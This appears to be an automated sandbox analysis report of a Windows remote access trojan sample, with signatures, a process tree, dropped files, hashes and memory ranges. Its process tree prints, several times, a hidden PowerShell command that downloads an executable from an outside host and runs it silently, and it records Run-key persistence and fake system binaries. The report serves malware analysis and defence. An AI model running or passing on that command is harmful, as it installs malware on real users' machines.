Analysis

  • max time kernel
    150s
  • max time network
    153s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/09/2026, 17:01

General

  • Target
    NULL (3).exe
  • Size 592KB
  • Sample260905-vjprjsyelf
  • SHA256 589fcf3e363e1a84be3e701a9e059eea8af0dd364e0d2e1d292b9b37bfbbd409
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: DarkSideRAT

    DarkSideRAT is a remote access trojan.

  • Detects DarkSideRAT 2 IoCs
  • Modifies visibility of hidden/system files in Explorer 2 TTPs 2 IoCs
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 2 IoCs
  • Executes dropped EXE 8 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 5 IoCs
  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\NULL (3).exe
    "C:\Users\Admin\AppData\Local\Temp\NULL (3).exe"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5064
    • \??\c:\users\admin\appdata\local\temp\null (3).exe 
      "c:\users\admin\appdata\local\temp\null (3).exe "
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4600
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK205507.exe; Start-Process -FilePath $env:TEMP\BK205507.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1580
        • C:\Windows\system32\cmd.exe
          cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK205507.exe; Start-Process -FilePath $env:TEMP\BK205507.exe -WindowStyle Hidden }"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3168
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=QTuVl0PCseGLafunsZPRE008.txt' -OutFile $env:TEMP\BK205507.exe; Start-Process -FilePath $env:TEMP\BK205507.exe -WindowStyle Hidden }"
            5⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Downloads MZ/PE file
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:244
            • C:\Users\Admin\AppData\Local\Temp\BK205507.exe
              "C:\Users\Admin\AppData\Local\Temp\BK205507.exe"
              6⤵
              • Executes dropped EXE
              PID:1780
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK828327.exe; Start-Process -FilePath $env:TEMP\BK828327.exe -WindowStyle Hidden }"
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1884
        • C:\Windows\system32\cmd.exe
          cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK828327.exe; Start-Process -FilePath $env:TEMP\BK828327.exe -WindowStyle Hidden }"
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:1272
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://vcc-library.uk/Stb/Retev.php?bl=1MWPv7gpR4E9VtTq2hDSW01.txt' -OutFile $env:TEMP\BK828327.exe; Start-Process -FilePath $env:TEMP\BK828327.exe -WindowStyle Hidden }"
            5⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Downloads MZ/PE file
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:3252
            • C:\Users\Admin\AppData\Local\Temp\BK828327.exe
              "C:\Users\Admin\AppData\Local\Temp\BK828327.exe"
              6⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:3192
              • C:\Windows\System32\licensingdiag.exe
                "C:\Windows\System32\licensingdiag.exe"
                7⤵
                  PID:4168
      • C:\Windows\Resources\Themes\icsys.icn.exe
        C:\Windows\Resources\Themes\icsys.icn.exe
        2⤵
        • Executes dropped EXE
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:5744
        • \??\c:\windows\resources\themes\explorer.exe
          c:\windows\resources\themes\explorer.exe
          3⤵
          • Modifies visibility of hidden/system files in Explorer
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in System32 directory
          • Drops file in Windows directory
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: GetForegroundWindowSpam
          • Suspicious use of SetWindowsHookEx
          • Suspicious use of WriteProcessMemory
          PID:4584
          • \??\c:\windows\resources\spoolsv.exe
            c:\windows\resources\spoolsv.exe SE
            4⤵
            • Executes dropped EXE
            • Drops file in Windows directory
            • System Location Discovery: System Language Discovery
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:2224
            • \??\c:\windows\resources\svchost.exe
              c:\windows\resources\svchost.exe
              5⤵
              • Modifies visibility of hidden/system files in Explorer
              • Executes dropped EXE
              • Adds Run key to start application
              • Drops file in System32 directory
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: GetForegroundWindowSpam
              • Suspicious use of SetWindowsHookEx
              • Suspicious use of WriteProcessMemory
              PID:1372
              • \??\c:\windows\resources\spoolsv.exe
                c:\windows\resources\spoolsv.exe PR
                6⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of SetWindowsHookEx
                PID:1788

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 144598ea87965a833e5c847b0c3725dee5fd45304ea32c04cc6080f73f537503
          • MD5 SHA1 SHA512 TLSH

          BK205507.exe

          • Path C:\Users\Admin\AppData\Local\Temp\BK205507.exe
          • Size 67KB
          • SHA256 245c4870dbf4b2f0102835addb1780d845bd1c31d5ac2a8ac7a5dfe993d6365f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          BK828327.exe

          • Path C:\Users\Admin\AppData\Local\Temp\BK828327.exe
          • Size 56KB
          • SHA256 0d0a91c58d930d76a2600f1b75965a4edfb63357284c5965fb3b3f08266f0237
          • MD5 SHA1 SHA512 SSDEEP TLSH

          null (3).exe 

          • Path C:\Users\Admin\AppData\Local\Temp\null (3).exe 
          • Size 457KB
          • SHA256 9527a558cc54b4212921506d48598d040d7d8d367d5a8a9530ddae903e3d3fba
          • MD5 SHA1 SHA512 SSDEEP TLSH

          icsys.icn.exe

          • Path C:\Windows\Resources\Themes\icsys.icn.exe
          • Size 135KB
          • SHA256 2ea55d65f1bceff3103f2487dc365620b34a7752b27442b699b9516665fac0d1
          • MD5 SHA1 SHA512 SSDEEP TLSH

          spoolsv.exe

          • Path C:\Windows\Resources\spoolsv.exe
          • Size 135KB
          • SHA256 692f7a9b2edfb1b278341bc7ed54762f226073b937a38c865b8ed9d5ff1cde54
          • MD5 SHA1 SHA512 SSDEEP TLSH

          svchost.exe

          • Path C:\Windows\Resources\svchost.exe
          • Size 135KB
          • SHA256 cbd1e2bc0fb5912815ba67bc5cdef4f61b3df0a765bc176b70467d63575e357a
          • MD5 SHA1 SHA512 SSDEEP TLSH

          explorer.exe

          • Path \??\c:\windows\resources\themes\explorer.exe
          • Size 135KB
          • SHA256 5f4338ad4b6b08c809e8b7de01294e38ce49b8f181fdfdb744c0e6dc1aebfe3f
          • MD5 SHA1 SHA512 SSDEEP TLSH

          memory/244-18-0x00007FFCCE770000-0x00007FFCCF114000-memory.dmp

          memory/244-20-0x00007FFCCE770000-0x00007FFCCF114000-memory.dmp

          memory/244-22-0x00007FFCCE770000-0x00007FFCCF114000-memory.dmp

          memory/244-23-0x00007FFCCE770000-0x00007FFCCF114000-memory.dmp

          memory/244-24-0x00007FFCCE770000-0x00007FFCCF114000-memory.dmp

          memory/244-25-0x00007FFCCE770000-0x00007FFCCF114000-memory.dmp

          memory/244-26-0x00007FFCCE770000-0x00007FFCCF114000-memory.dmp

          memory/244-21-0x00007FFCCE770000-0x00007FFCCF114000-memory.dmp

          memory/244-19-0x00007FFCCE770000-0x00007FFCCF114000-memory.dmp

          memory/244-46-0x00007FFCCE770000-0x00007FFCCF114000-memory.dmp

          memory/244-10-0x00007FFCCE8FF000-0x00007FFCCE900000-memory.dmp

          memory/244-15-0x00007FFCCE770000-0x00007FFCCF114000-memory.dmp

          memory/244-11-0x00007FFCCE770000-0x00007FFCCF114000-memory.dmp

          memory/244-91-0x00007FFCCE770000-0x00007FFCCF114000-memory.dmp

          memory/1372-121-0x0000000000400000-0x000000000041F000-memory.dmp

          memory/1788-68-0x0000000000400000-0x000000000041F000-memory.dmp

          memory/2224-69-0x0000000000400000-0x000000000041F000-memory.dmp

          memory/3252-14-0x00000173E7FA0000-0x00000173E7FC2000-memory.dmp

          memory/4168-115-0x000002330BD80000-0x000002330C499000-memory.dmp

          memory/4168-114-0x000002330BD80000-0x000002330C499000-memory.dmp

          memory/4168-119-0x000002330BD80000-0x000002330C499000-memory.dmp

          memory/4168-106-0x000002330BD80000-0x000002330C499000-memory.dmp

          memory/4168-99-0x000002330C4A0000-0x000002330C4A1000-memory.dmp

          memory/4168-100-0x000002330BD80000-0x000002330C499000-memory.dmp

          memory/4168-105-0x000002330BD80000-0x000002330C499000-memory.dmp

          memory/4168-107-0x000002330BD80000-0x000002330C499000-memory.dmp

          memory/4168-118-0x000002330BD80000-0x000002330C499000-memory.dmp

          memory/4168-117-0x000002330BD80000-0x000002330C499000-memory.dmp

          memory/4168-108-0x000002330BD80000-0x000002330C499000-memory.dmp

          memory/4168-98-0x000002330BD80000-0x000002330C499000-memory.dmp

          memory/4168-111-0x000002330BD80000-0x000002330C499000-memory.dmp

          memory/4168-113-0x000002330BD80000-0x000002330C499000-memory.dmp

          memory/4168-112-0x000002330BD80000-0x000002330C499000-memory.dmp

          memory/4168-110-0x000002330BD80000-0x000002330C499000-memory.dmp

          memory/4168-116-0x000002330BD80000-0x000002330C499000-memory.dmp

          memory/4168-109-0x000002330BD80000-0x000002330C499000-memory.dmp

          memory/4584-47-0x0000000000400000-0x000000000041F000-memory.dmp

          memory/4584-120-0x0000000000400000-0x000000000041F000-memory.dmp

          memory/5064-71-0x0000000000400000-0x000000000041F000-memory.dmp

          memory/5064-0-0x0000000000400000-0x000000000041F000-memory.dmp

          memory/5744-48-0x0000000000400000-0x000000000041F000-memory.dmp

          memory/5744-70-0x0000000000400000-0x000000000041F000-memory.dmp